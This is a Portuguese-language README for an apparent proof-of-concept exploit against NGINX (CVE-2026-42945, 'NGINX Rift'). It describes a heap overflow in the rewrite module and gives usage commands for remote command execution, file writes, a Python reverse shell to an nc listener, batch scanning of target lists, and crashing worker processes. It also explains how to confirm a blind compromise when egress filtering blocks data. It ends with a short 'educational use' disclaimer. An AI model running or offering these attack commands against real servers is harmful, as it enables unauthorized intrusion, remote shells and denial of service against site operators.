NGINX Rift RCE Exploit (CVE-2026-42945) de @DepthFirstDisclosures
Uma ferramenta profissional de Prova de Conceito (PoC) para pesquisar e identificar a vulnerabilidade NGINX Rift, um estouro de buffer crítico baseado em heap no ngx_http_rewrite_module.
Visão Geral da Vulnerabilidade
- Identificador CVE: CVE-2026-42945
- Alias: NGINX Rift
- Gravidade: Crítica (CVSS 9.2)
- Versões Afetadas: NGINX 0.6.27 a 1.30.0
- Causa Raiz: Erro de incompatibilidade de tamanho no mecanismo de reescrita de duas passagens ao usar capturas PCRE sem nome ($1, $2) e strings de substituição contendo um ?.
- Impacto: Execução Remota de Código (RCE) não autenticada ou Negação de Serviço (DoS).
Recursos
- Suporte a Múltiplos Modos: Teste via URL única ou uma lista em lote de um arquivo .txt.
- Múltiplos Métodos de Exploração:
- id: Executa o comando id (Padrão).
- sleep: Verificação baseada em tempo (ideal para RCE cego).
- write: Tenta escrever um arquivo em diretórios raiz da web comuns.
- shell: Envia um shell reverso baseado em Python.
- crash: Dispara uma simples quebra do processo worker (DoS).
- Interface Codificada por Cores: Indicadores visuais claros para estados vulnerável (Verde), seguro (Vermelho) e depuração (Amarelo/Azul).
- Log Detalhado: Interação detalhada em nível de soquete para pesquisadores.
Uso
1. Varredura de Alvo Único
python3 poc.py --url http://target.com --method id
2. Varredura em Lote de Múltiplos Alvos
Crie um arquivo chamado targets.txt com uma URL por linha:
http://1.2.3.4
https://docs.company.com
http://server.internal:8080
Em seguida, execute:
python3 poc.py --list targets.txt --method sleep
3. Comandos Personalizados e Modo Detalhado
python3 poc.py --url http://target.com --cmd "whoami" --verbose
4. Shell Reverso
Inicie seu listener primeiro: nc -lvp 1337
python3 poc.py --url http://target.com --method shell --listen-ip [YOUR_IP] --listen-port 1337
Entendendo os Resultados
- [+] VULNERÁVEL (Verde): O exploit acionou uma assinatura de corrupção de memória. Se usado com sleep, verifique se o tempo de resposta corresponde à duração do sleep.
- [-] Alvo não vulnerável (Vermelho): O exploit não conseguiu acionar uma quebra usando os candidatos de memória fornecidos.
- [DEBUG] (Amarelo/Azul): Informações de fundo sobre heap spraying e endereços candidatos.
Requisitos e Limitações
- Python 3.x: Nenhuma biblioteca externa necessária (usa socket e argparse padrão).
- ASLR: Este PoC usa endereços de memória estáticos. Em sistemas onde o ASLR está habilitado, o exploit provavelmente resultará em Negação de Serviço (DoS) em vez de RCE, a menos que uma falha de memória seja fornecida.
- Endurecimento: A filtragem de saída (firewalls) pode impedir que os métodos curl ou shell enviem dados de volta para você. Use o método sleep para a confirmação mais confiável.
Aviso Legal
Esta ferramenta é apenas para fins educacionais e auditoria de segurança autorizada. O autor não é responsável por qualquer uso indevido ou dano causado por este script. Sempre obtenha permissão explícita antes de testar contra qualquer infraestrutura.